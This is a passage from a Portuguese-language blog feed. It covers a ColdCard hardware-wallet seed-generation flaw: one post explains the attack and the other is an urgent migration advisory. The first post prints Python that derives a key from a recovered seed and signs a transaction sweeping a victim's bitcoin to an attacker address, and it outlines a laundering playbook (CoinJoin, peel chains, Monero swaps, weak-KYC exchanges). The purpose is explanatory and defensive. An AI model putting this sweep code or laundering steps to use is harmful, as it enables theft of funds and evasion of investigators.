</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;WIF comprimido:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Endereço      :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída típica:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:</p>
<ol>
<li><strong>Importar a seed ou o WIF</strong> no Sparrow, Electrum ou outra wallet.</li>
<li><strong>Rescanar</strong> a blockchain para ver todos os UTXOs daquela seed.</li>
<li><strong>Montar uma transação</strong> mandando os fundos para um endereço que ele controla.</li>
<li><strong>Assinar e transmitir</strong>.</li>
</ol>
<h3>Exemplo concreto de sweep<span class="hx:absolute hx:-mt-20" id="exemplo-concreto-de-sweep"></span>
    <a href="#exemplo-concreto-de-sweep" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># chave recuperada a partir da seed colidida</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># taxa em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># o que sobra para o atacante</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># txid do UTXO da vítima</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># endereço do atacante</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma transação assinada válida tem esse formato (hex truncado):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.</p>
<p>No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.</p>
<h2>O que essa classe de bugs significa<span class="hx:absolute hx:-mt-20" id="o-que-essa-classe-de-bugs-significa"></span>
    <a href="#o-que-essa-classe-de-bugs-significa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à <strong>entropia</strong>. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.</p>
<p>Três lições:</p>
<ol>
<li><strong>Não confie na aparência de aleatoriedade.</strong> O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.</li>
<li><strong>Hash não cria entropia.</strong> Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo <code>2^40</code> hashes possíveis. O atacante enumera as entradas, não os hashes.</li>
<li><strong>A blockchain é pública e permanente.</strong> Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.</li>
</ol>
<h2>Dá para pegar o criminoso?<span class="hx:absolute hx:-mt-20" id="dá-para-pegar-o-criminoso"></span>
    <a href="#d%c3%a1-para-pegar-o-criminoso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: &ldquo;será que dá para rastrear quem fez isso?&rdquo;. A resposta curta é: <strong>talvez, mas não é trivial</strong>, e rastrear não é o mesmo que recuperar os bitcoins.</p>
<p>Clay Garrett, que está entre as pessoas investigando o caso, publicou <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">uma thread no X</a> alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com &ldquo;especificidade extraordinária&rdquo;, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.</p>
<p>O que isso significa, <strong>se for confirmado</strong>:</p>
<ul>
<li>Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.</li>
<li>Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.</li>
<li>Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.</li>
<li>Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.</li>
</ul>
<p>Ou seja: a thread aponta para uma linha de investigação promissora, mas <strong>é uma alegação em andamento</strong>, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.</p>
<h2>O que o atacante ainda não fez<span class="hx:absolute hx:-mt-20" id="o-que-o-atacante-ainda-não-fez"></span>
    <a href="#o-que-o-atacante-ainda-n%c3%a3o-fez" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.</p>
<h3>O que seria um mixer, e por que ele não foi usado<span class="hx:absolute hx:-mt-20" id="o-que-seria-um-mixer-e-por-que-ele-não-foi-usado"></span>
    <a href="#o-que-seria-um-mixer-e-por-que-ele-n%c3%a3o-foi-usado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um <strong>mixer</strong> (ou <strong>tumbler</strong>) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de &ldquo;de onde veio&rdquo;.</p>
<p>O modelo clássico é o <strong>CoinJoin</strong>: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como <strong>Wasabi Wallet</strong> e <strong>Samourai Wallet</strong> implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço <strong>Whirlpool</strong>, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.</p>
<p>Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como <strong>Bitcoin Fog</strong> e <strong>Helix</strong> funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.</p>
<p>No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:</p>
<ol>
<li><strong>O atacante ainda está decolando.</strong> Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.</li>
<li><strong>O atacante não esperava tanta visibilidade.</strong> Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.</li>
<li><strong>O atacante pode estar negociando uma recuperação.</strong> Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.</li>
</ol>
<h3>Como se esconde normalmente uma quantia dessas<span class="hx:absolute hx:-mt-20" id="como-se-esconde-normalmente-uma-quantia-dessas"></span>
    <a href="#como-se-esconde-normalmente-uma-quantia-dessas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:</p>
<ol>
<li><strong>CoinJoin em rodadas.</strong> O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.</li>
<li><strong>Peel chain.</strong> Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.</li>
<li><strong>Trocas instantâneas e bridges.</strong> Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.</li>
<li><strong>Exchanges com KYC fraco ou nenhum.</strong> Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.</li>
<li><strong>Fiat off-shore.</strong> O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.</li>
</ol>
<p>Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.</p>
<h3>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.</p>
<p>Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser &ldquo;onde está o dinheiro?&rdquo; e passa a ser &ldquo;quem conseguimos prender?&rdquo;. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.</p>
<p>Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.</p>
<p>A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.</p>
<p>A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.</p>
<p>Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>URGENTE - Se você guarda Bitcoins em ColdCard: MOVA TUDO</title><link>https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.&lt;/p&gt;
&lt;p&gt;Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;recebeu 594,47723261 BTC em 501 outputs&lt;/a&gt;. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de &lt;strong&gt;1.000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.</p>
<p>Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC em 501 outputs</a>. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de <strong>1.000 BTC</strong>.</p>
<p>O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.</p>
<blockquote>
  <p>Também não entre em pânico e digite suas 24 palavras no primeiro site que promete &ldquo;verificar ColdCard&rdquo;. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.</p>

</blockquote>
<h2>Quem precisa agir agora<span class="hx:absolute hx:-mt-20" id="quem-precisa-agir-agora"></span>
    <a href="#quem-precisa-agir-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A vulnerabilidade está na <strong>geração da seed</strong>. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.</p>
<blockquote>
  <p><strong>Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado.</strong> As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.</p>

</blockquote>
<p>Segundo o <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">advisory da Coinkite</a> e a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">análise independente da Block</a>, trate como comprometida qualquer seed gerada nestas condições:</p>
<table>
  <thead>
      <tr>
          <th>Aparelho</th>
          <th>Firmware que gerou a seed</th>
          <th>Situação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 até 4.1.9, segundo a Block</td>
          <td>Vulnerável. Migre a seed e aposente o aparelho como gerador.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 até 4.1.9 no advisory da Coinkite; a Block inclui 4.0.0</td>
          <td>Vulnerável. Instale 4.2.0 ou superior antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Anterior a 5.6.0</td>
          <td>Afetado. Atualize antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Anterior a 6.6.0X</td>
          <td>Afetado. Edge é outra linha de release.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Anterior a 1.5.0Q</td>
          <td>Afetado.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Anterior a 6.6.0QX</td>
          <td>Afetado.</td>
      </tr>
  </tbody>
</table>
<p>A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.</p>
<p>Há uma exceção importante: quem acrescentou pelo menos <strong>50 jogadas justas, independentes e privadas de um dado</strong> durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por <strong>este bug isoladamente</strong>. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.</p>
<p>Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.</p>
<blockquote>
  <p><strong>Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo.</strong> O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.</p>

</blockquote>
<p>Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.</p>
<h2>O bug: <code>#ifndef</code> não significa &ldquo;se for verdadeiro&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-ifndef-não-significa-se-for-verdadeiro"></span>
    <a href="#o-bug-ifndef-n%c3%a3o-significa-se-for-verdadeiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">post-mortem técnico da Coinkite</a> é uma leitura constrangedora.</p>
<p>Em março de 2021, o firmware trocou <code>ckcc.rng_bytes()</code> por <code>ngu.random.bytes()</code> durante a migração pro libNgU e pro <code>libsecp256k1</code> usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.</p>
<p>O código de build definia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que a guarda no libNgU verificava isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
